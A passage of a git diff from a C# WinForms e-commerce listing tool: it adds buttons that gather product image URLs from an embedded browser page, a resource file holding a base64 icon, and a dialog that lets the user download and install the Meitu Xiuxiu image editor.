img'); " + + " var result = '';" + + " for(i = 0; i < imgs.length; i++) {" + + " result += imgs[i].src + ';';" + + " }" + + " return result;" + + "} getImgUrl();"; + + var t1 = cwbSearchTitle.GetMainFrame().EvaluateScriptAsync(jsStr); + t1.Wait(); + var html = t1.Result?.Result?.ToString(); + if (!string.IsNullOrEmpty(html)) + { + var htmlTempArr = html.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries); + htmlTempArr = htmlTempArr.Where(s => !s.EndsWith("/s.gif")).ToArray(); + var htmlList = new List(); + foreach (var str in htmlTempArr) + { + htmlList.Add(str.Replace(".jpg_230x230", "").Replace("_.webp", "")); + } + + Task.Run(() => + { + if (fission != null) + fission.MulitAddMainImageWithCatchWords(htmlList); + BaseMsgForm.ShowInfo("图片转主完成!"); + }); + } + else + BaseMsgForm.ShowInfo("图片转主失败!"); + } + } + + private void btnPicToContent_Click(object sender, EventArgs e) + { + //descV8-singleImage-image lazyload + + var jsStr = "function getImgUrl() {" + + " var imgs = document.getElementsByClassName('lazyload'); " + + " var result = '';" + + " for(i = 0; i < imgs.length; i++) {" + + " result += imgs[i].src + ';';" + + " }" + + " return result;" + + "} getImgUrl();"; + var t1 = cwbSearchTitle.GetMainFrame().EvaluateScriptAsync(jsStr); + t1.Wait(); + var html = t1.Result?.Result?.ToString(); + + if (string.IsNullOrEmpty(html)) + { + jsStr = "function getDescription() {" + + " var descriptions = document.getElementById('description'); " + + " var imgs = descriptions.getElementsByTagName('img'); " + + " var result = '';" + + " for(i = 0; i < imgs.length; i++) {" + + " result += imgs[i].src + ';';" + + " }" + + " return result;" + + "} getDescription();"; + } + t1 = cwbSearchTitle.GetMainFrame().EvaluateScriptAsync(jsStr); + t1.Wait(); + html = t1.Result?.Result?.ToString(); + + if (!string.IsNullOrEmpty(html)) + { + var htmlTempArr = html.Split(new string[] { ";" }, StringSplitOptions.RemoveEmptyEntries); + htmlTempArr = htmlTempArr.Where(s => !s.EndsWith("spaceball.gif") && !s.EndsWith("790-300.png")).ToArray(); + var htmlList = new List(); + foreach (var str in htmlTempArr) + { + htmlList.Add(str.Replace(".jpg_230x230", "").Replace("_.webp", "")); + } + + Task.Run(() => + { + if (fission != null) + fission.MulitAddContentImageWithCatchWords(htmlList); + BaseMsgForm.ShowInfo("转内容图完成!"); + }); + } + else + BaseMsgForm.ShowInfo("转内容图失败!"); + } + + private void btnChangeFissionTitle_Click(object sender, EventArgs e) + { + if (fission != null) + fission.ChangeFissionTitle(descriptionTextBox.Text.Trim().Replace("\r\n", ";").Replace("\n", ";")); + BaseMsgForm.ShowInfo("替换完成!"); + } + } +} diff --git a/TEMUKJD/KJDForms/ToolForms/KeywordsForms/KeywordsCatchFrom.resx b/TEMUKJD/KJDForms/ToolForms/KeywordsForms/KeywordsCatchFrom.resx new file mode 100644 index 0000000..fbbf5e4 --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/KeywordsForms/KeywordsCatchFrom.resx @@ -0,0 +1,313 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + + + AAABAAEAgIAQAAAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMd3d3d3d3d3 + d3d3fMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMd3d3iIiIiI + iIiIiIiIiIh3d3d8zMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMx3eIiIiI + iIiIiIiIiIiIiIiIiIiIiHd8zMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMd4iI + iIiIiIiIiIiIiIiIiIiIiIiIiIiIiHfMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzH + eIiIiIiIiIiHZmZmZmZmZmZmZ3eIiIiIiIiIiHzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzHiIiIiIiHZmZmZmZmZmZmZmZmZmZmZmZmeIiIiIiIfMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzHiIiIiIdmZmZmZgAAAAAAAAAAAAZmZmZmZmZmeIiIiIh8zMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzHiIiIiHZmZgAAAAAAAAAAAAEAAAAAAAAAAGZmZmZniIiIiHzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMeIiIiGZmAAAAAAERERmZmZmZmZmZkRERERAAAGZmZmZ4iIiIfMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMeIiIiGZgAAAAERmZmZmZmZmZmZmZmZmZmZmZkREAAGZmZniIiIfMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzIiIiHYAAAARGZmZiIiIj///////+IiIiIeZmZmZkREAZmZmiIiIfMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzO6IiIYAAAARmYiI/////////////////////4iHmZmZEQBmZmeI + iIh8zMzMzMzMzMzGAAAABMzMzMzMzMzMzMeIiIdgAAAZmI////////////////////////////iJmZmR + EGZmZ4iIh8zMzMzMzMzMzEAAAAbMzMzMzMzMzMzoiIhwAAAZeP////////////////////////////// + /4iZmZEAZmZ4iIh8zMzMzMzMzMxgAABMzMzMzMzMzMzOiIiGAAABiP////////////////////////// + ////////+JmZkQZmZ4iIh8zMzMzMzMzMxAAAbMzMzMzMzMzM7oiIYAABeP////////////////////// + ///////////////4mZkQZmZ4iIjMzMzMzMzMzMYAAMzMzMzMzMzMzu6IhwAAGP////////////////// + /////////////////////4iZmRZmZ4iIfMzMzMzMzMzMAAbMzMzMzMzMzM7oiHAAB4////////////// + ////////////////////////////iZmRBmZ4iIfMzMzMzMzMzGAGzMzMzMzMzMzuiIcAAHj///////// + //////////////////////////////////iZmRZmZ4iIzMzMzMzMzMxgDMzMzMzMzMzM7ohwAAf///// + ////////////////////////////////////////95mRZmaIiHzMzMzMzMzMwEzMzMzMzMzMzuiIEABo + //////////////////////////////////////////////95mRZmaIiMzMzMzMzMzMRszMzMzMzMzM7o + hwAGj///////////////////////////////////////////////95kQZmeIh8zMzMzMzMzGbMzMzMzM + zMzu6HEAB/////////////////////////////////////////////////+ZkQZmiIjMzMzMzMzMxmzM + zMzMzMzM7ohwAGj/////////////////////////////////////////////////iZkWZniIfMzMzMzM + zMZszMzMzMzMxu6HEAbv/4iI/////////////////////////////////////////4iP//iZEGZoiHzM + zMzMzMzGbMzMzMzMzM7uhxAGj/iIiIj//////////////////////////////////////4iIiI//mZFm + aIiMzMzMzMzMxszMzMzMzMzO6IEAbv+IiIiIj/////////////////////////////////////iIiIiP + /4mRBmeIh8zMzMzMzMbMzMzMzMzMbuhxAG7/iIiIiI////////////////iIj///j//////////////4 + iIiIiP/5mQZmiIfMzMzMzMzMzMzMzMzMzO7ocQDo+IiIiIiP///////////////u7u7u7u7o//////// + ////iIiIiIj/+JkWZoiHzMzMzMzMzMzMzMzMzMzu6BEG7/iIiIiIj/////////////+Hd3ju5maO7v// + /////////4iIiIiI//iZEGaIh8zMzMzMzMzMzMzMzMzM7ugRBu//iIiIiI//////////////kZmZdmAZ + mP/////////////4iIiIiP//mRBmeIjMzMzMzMzMzMzMzMzMzO7nEAbv/4iIiIiP////////////+HiI + mZEBd5n/////////////+IiIiIj//4mQZniIzMzMzMzMzMzMzMzMzMzu5xAO7//4iIiI//ju7o////// + //j//4mZeP/4//////////////iIiIiP//+JkGZ4iHzMzMzMzMzMzMzMzMzG7ocQDu///4iI//ju7u7u + j//////////4mP//////////////7u7uiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzu6HEG7v//////+G + ZmZ47u7//////////4//////////////7u7u7u6P/////4mQBmiIfMzMzMzMzMzMzMzMzM7uhRBu7/// + ///3AAAAF37u7///////////////////////h2AABm7u7v/////5kAZ4iHzMzMzMzMzMzMzMzMzO7oUQ + bu//////gQAAZgEG7u//////////////////////+BAAAAAFfu6P////+ZAGeIjMzMzMzMzMzMzMzMzM + zu6FEG7v////+JEAAXhwAG7o/////////////////////4gAABEGARbu7/////kQBoiIzMzMzMzMzMzM + zMzMzM7uhRBu7/////iZABmZkQBm6P////////////////////+JABGZF2AAbo////+JEGaIiMzMzMzM + zMzMzMzMzMzO7ucRbu/////4mRZ4iZkQBu//////////////////////mQB5mZdgAG7/////iRBmiIfM + zMzMzMzMzMzMzMzMxu7nEQ7v////+Bl+j/iZEAaP/////////////////////5l2/4mRAABu/////4kQ + ZoiHzMzMzMzMzMzMzMzMzMzu5xEO6P//+Phgbu/4kQAI//////////////////////+Zfo/4kQAAeIiP + //+JEGaIh8zMzMzMzMzMzMzMzMzM7ucRBu7///iOYHiI+HAAf///////////////////////mYjv+BAA + BuiIj///iQBniIfMzMzMzMzMzMzMzMzMzO7nEQbu///3EAAG6IcRF4iP/////////////////////4GP + /4cQAAZnbv///5EAaIiMzMzMzMzMzMzMzMzMzMzu5xEW7v//iRF3dmZgAXjmj/////////////////// + ///3ePiBEQAHdm7///iRAGiIfMzMzMzMzMzMzMzMzMzM7u5xFu6P/5EZmXZmZmbmaP////////////// + ///////4/4d2cRAAFwbuj//4kQZoiHzMzMzMzMzMzMzMzMzMzG7ucRDu7/iXiZkQAAZmAH////////// + ////////////+IiIdmYABmAX//j/+BAGeIh8zMzMzMzMzMzMzMzMzMzO7nEQbu/4iP+BERkREZf///// + //////////////////+JmXdxEBEAB3////kQBoiIzMzMzMzMzMzMzMzMzMzMzu5xEW7o+P//gZmZmZmP + ////////////////////////+JmZmZmZl453//+JAGaIh8zMzMzMzMzMzMzMzMzMzM7u5xEO7vj/+IeP + iIj////////////////////////////4iZmZmZiPiP//cQBoiIfMzMzMzMzMzMzMzMzMzMzM7ucRFu6P + //iP//////////////////////////////////////+Jn/j/+JAAaIiMzMzMzMzMzMzMzMzMzMzMzO7n + ERbu7//4/////////////////////////////////////////4j///gQBoiIfMzMzMzMzMzMzMzMzMzM + zMzu7nERbuj////////////////////////////////////////////4//+BAAaIiMzMzMzMzMzMzMzM + zMzMzMzMzu5xEW7u////////////////////////////////////////////////cQBoiIfMzMzMzMzM + zMzMzMzMzMzMzM7u5xEW7u//////////////////////////////////////////////+BAAaIiMzMzM + zMzMzMzMzMzMzMzMzMzO7uYREO7o//7v//////////////////////////////////////////cABoiI + fMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7oj/7o////////////////////////////////////////9x + AAeIiMzMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7nePju7u7v//////////////////////////////// + 6P/4EAB4iIfMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERBu7nmIiO7oj/////////////////////////// + ju7u7o//hwAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERbu7nmZl5eP////////////////////// + ///4iPiO5nj/+HAAaIiIzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7nERbu7oiZeI////////////////// + ////////+ImXd5mP/4cAAHiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERbu7v//////////////// + ///////////////4iZl4//hgAAeIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERBu7v////////// + //////////////////////////+GAAB4iI7MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7uiHEADujv//// + ///////////////////////////////3AAAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7ohwABmP + ////////////////////////////////////iREAZniIjMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzuiI + EAB4f///////////////////////////////////+JmZkWZoiIfMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zO6IhwBo//////////////////////////////////////iImZl2ZoiIzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzuiHAA7////////////////////////////////////////4iZFmZ4iHzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzO6IgQBo/////4j///////////////////////////////////mZFmaIiMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzuiHAA7/////iIiP//////7o//////////////////iI/////4mRZmeIh8zMzMzM + zMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiI/////+7u7u7uiIiI7u7v////iIiI/////5mRZmiIjM + zMzMzMzMzMzMzMzMzMzMzMzMzMzuiHAA7////4iIiIiIj//3d2bu7u7u7u7u7u7//4iIiIiP////+JkW + ZniIfMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI//+ZkAAGZmZmZmZmbv//iIiIiIiP// + //+ZkWZoiIzMzMzMzMzMzMzMzMzMzMzMzMzMzuiFAG7////4iIiIiIj///iZABEREREREBAG7//4iIiI + iIj/////iZFmaIiMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI///4kQARERERERERDo// + +IiIiIiIj/////mZBmeIh8zMzMzMzMzMzMzMzMzMzMzMzMzuiHAG7////4iIiIiIiP//+JFmeHd3d3dx + EW6P//iIiIiIiI/////4mRZmiIfMzMzMzMzMzMzMzMzMzMzMzMzO7ocQBo////+IiIiIiIj///iQZoiO + 7u7u5xFu7//4iIiIiIiI////+JkWZniIzMzMzMzMzMzMzMzMzMzMzMzMzuiHEA7////4iIiIiIiP///5 + kGaIju7u7ucRbu///4iIiIiIiP////95kGZ4iHzMzMzMzMzMzMzMzMzMzMzMzM7ogQBu////+IiIiIiI + j///+RBmiI7u7u7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzMzMzMzMzMzu6HEAaP////iI + iIiIiI////kQZoiHzMzu5xEO6P//iIiIiIiIj////4mRZmiIjMzMzMzMzMzMzMzMzMzMzMzM7ugRBu// + ///4iIiIiIj///+JEGaIh8zM7ucRBu7//4iIiIiIiI/////5kQZniIzMzMzMzMzMzMzMzMzMzMzMzO6I + EAbv////iIiIiIiI////iQBniIzMzO7oERbu///4iIiIiIiP////+JkGZ4iHzMzMzMzMzMzMzMzMzMzM + zMbuhxAGj////4iIiIiIj////3kAaIiMzMzu7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzM + zMzMzMzO7oUQbv////+IiIiIiI////+RBmiIfMzMzu5xFu6P//+IiIiIiIj////4mRZmiIfMzMzMzMzM + zMzMzMzMzMzMzu6BAG7////4iIiIiIj////4kQZoiHzMzM7ucRDu7///iIiIiIiIj////5kQZoiHzMzM + zMzMzMzMzMzMzMzMzM7ocQBu////+IiIiIiI////+JAGeIh8zMzO7nERbu///4iIiIiIiI////95EGaI + h8zMzMzMzMzMzMzMzMzMzMxu6HEA7v////iIiIiIiP////cQBoiIzMzMzu7lEW7v///4iIiIiIiP//// + iRBmeIjMzMzMzMzMzMzMzMzMzMzM7uhxBuj////4iIiIiI/////5EAaIiMzMzMbu5xEO7v//+IiIiIiI + j////4kQZniIzMzMzMzMzMzMzMzMzMzMzO7oEQbv////+IiIiIj/////iQBmiIfMzMzM7ucRBu7///iI + iIiIiIj///+JkGZ4iMzMzMzMzMzMzMzMzMzMzMzu6BEG7/////iIiIiI/////4EAaIiHzMzMzO7nERbu + j///iIiIiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzMzM7ucRBu/////4iIiIj/////+RAGiIjMzMzMzu + 7nEQ7u////iIiIiIiP///4mQBmiIfMzMzMzMzMzMzMzMzMzMzO7nEAbv////+IiIiP/////4EAZ4iHzM + zMzMzu5xEG7v///4iIiIiIj///+JkAZoiHzMzMzMzMzMxmzMzMzMzMzu5xAO7/////+IiI//////+RAG + iIjMzMzMzM7ucRFu7v///4iIiIiI////+ZAGaIh8zMzMzMzMzMZszMzMzMzG7ocQDu//////+I////// + /4EAZoiIzMzMzMzO7ucRBu7////4iIiIiP////mQBmiIfMzMzMzMzMzGbMzMzMzMzu6HEA7v//////// + //////9xAGiIh8zMzMzMzO7nERbu7///+IiIiI/////5kAZoiHzMzMzMzMzMxmzMzMzMzM7uhxAO7/// + ///////////4EABoiIzMzMzMzMzu7nEQbu////+IiIiP////+ZAGaIh8zMzMzMzMzMZszMzMzMzO7oUQ + Du//////////////9xAGiIh8zMzMzMzM7u5xEW7u/////4iI//////mQBmiIfMzMzMzMzMzGTMzMzMzM + zu6HEA7v/////////////4EABoiIzMzMzMzMzM7u5xEG7v/////////////5kAZoiHzMzMzMzMzMxAzM + zMzMzM7uhxEO7/////////////9wAGiIh8zMzMzMzMzO7ucRFu7v////////////+RAGeIh8zMzMzMzM + zMAGzMzMzMzO7ucRDuj////////////4EAB4iIzMzMzMzMzMzO7ucRBu6P///////////4kQBoiIzMzM + zMzMzMxgBszMzMzMxu7nEQbo////////////gQAGiIh8zMzMzMzMzMzu7nERDu7///////////+JEAaI + iMzMzMzMzMzMYADMzMzMzMzu5xEG7v///////////3EAZ4iIzMzMzMzMzMzMzu7nERbu7/////////// + gQBmiIfMzMzMzMzMzAAAbMzMzMzM7ucRBu7///////////gQAGiIh8zMzMzMzMzMzM7u5xEQbu7///// + /////5EAZ4iHzMzMzMzMzMYAAEzMzMzMzO7nERDu7/////////+HAAaIiIzMzMzMzMzMzMzM7u5xEQ7u + 7/////////gQAGiIjMzMzMzMzMzEAAAGzMzMzMzu7nEQbuj////////4cAAHiIh8zMzMzMzMzMzMzO7u + dxEW7uj////////3AAZoiHzMzMzMzMzMYAAABMzMzMzM7u5xEG7u////////hgAAeIiHzMzMzMzMzMzM + zMzO7ucREW7u7///////gQAGiIh8zMzMzMzMzEAAAABszMzMzM7ucREG7uj/////hmAAB4iI7MzMzMzM + zMzMzMzMzu7ucREG7u6P////+AAAB4iIzMzMzMzMzMYAAAAATMzMzMzO7ucREG7u7oiO7mAAAHiIiMzM + zMzMzMzMzMzMzMzu7ucREG7u7o//+HYAAHiIh8zMzMzMzMzEAAAAAAbMzMzMzu7nEREG7u7u5mAAAAeI + iIfMzMzMzMzMzMzMzMzMzu7ucREQbu7u7uYAAAeIiHzMzMzMzMzMYAAAAAAAbMzMzMzu7nEREAZmZgAA + AAF4iI58zMzMzMzMzMzMzMzMzMzu7ncREQZm7mZgAAB4iI7MzMzMzMzMxgAAAAAAAEzMzMzM7u7nEREQ + AAAAABF4iI7uzMzMzMzMzMzMzMzMzMzM7u7ucRERAAAAAAAHiIiMzMzMzMzMzMQAAAAAAAAGzMzMzM7u + 7nERERERERF3iIju7MzMzMzMzMzMzMzMzMzMzM7u7udREREQAAAReIiIfMzMzMzMzMxgAAAAAAAAAGzM + zMzM7u7udRERERV4iI7u7MzMzMzMzMzMzMzMzMzMzMzM7u7u5xEREREReIiO7MzMzMzMzMzGAAAAAAAA + AAAGzMzMzM7u7u53d3eIiO7u7szMzMzMzMzMzMzMzMzMzMzMzM7u7u7nd1F3eIiO7uzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzM7u7u7u7u7u7u7szMzMzMzMzMzMzMzMzMzMzMzMzMzu7u7u6IiI7u7uzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzu7u7u7u7u5szMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7u7u7u7u7u7MzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzG7u7u7ubMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7u7u7uzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzG7u + 7szMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ToolForms/MeituMessageDialog.cs b/TEMUKJD/KJDForms/ToolForms/MeituMessageDialog.cs new file mode 100644 index 0000000..a46d0e4 --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/MeituMessageDialog.cs @@ -0,0 +1,285 @@ +using AllBase; +using DevComponents.DotNetBar; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Net; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.ToolForms +{ + public partial class MeituMessageDialog : Form + { + public MeituMessageDialog() + { + InitializeComponent(); + + this.Text = "提示"; + this.ShowIcon = false; + this.FormClosing += MessageDialog_FormClosing; + this.Activated += MessageDialog_Activated; + this.Load += MeituMessageDialog_Load; + } + + private void MeituMessageDialog_Load(object sender, EventArgs e) + { + tableLayoutPanel2.Controls[tableLayoutPanel2.Controls.Count - 1].Focus(); + foreach (var c in tableLayoutPanel2.Controls) + { + if (c is ButtonX) + { + var btn = c as ButtonX; + + btn.Click += Btn_Click; + } + } + } + + private void MessageDialog_Activated(object sender, EventArgs e) + { + } + + private void Btn_Click(object sender, EventArgs e) + { + var btn = sender as ButtonX; + if (btn != null) + clickBtnText = btn.Text; + + if (btn.Text == "指定启动文件") + { + this.Close(); + } + else if (btn.Text == "下载美图秀秀") + { + if (isDownload == true) + { + MessageBox.Show("下载中,请稍候!"); + return; + } + + // 单线程单元(STA)模式运行文件对话框,否则会报错。 + System.Threading.Thread InvokeThread = new System.Threading.Thread(new System.Threading.ThreadStart(setDownloadPath)); + InvokeThread.SetApartmentState(System.Threading.ApartmentState.STA); + InvokeThread.Start(); + InvokeThread.Join(); + } + else if (btn.Text == "安装美图秀秀") + { + System.Diagnostics.Process.Start(desFile); + //this.Close(); + } + } + + private void setDownloadPath() + { + FolderBrowserDialog dialog = new FolderBrowserDialog(); + dialog.Description = "请选择文件路径"; + + if (dialog.ShowDialog() == DialogResult.OK) + { + desFile = dialog.SelectedPath; + + new Thread(DownloadFileNoReturn).Start(); + } + } + + private void MessageDialog_FormClosing(object sender, FormClosingEventArgs e) + { + isClick = true; + } + + static bool isClick = false; + static string clickBtnText = ""; + + static MeituMessageDialog msg; + public static string ShowMessageDialog(string text = "", string btnsStr = "") + { + msg = new MeituMessageDialog(); + string[] btnStrArr = btnsStr.Split(','); + msg.tableLayoutPanel2.Refresh(); + msg.tableLayoutPanel2.ColumnCount = btnStrArr.Length + 2; + + 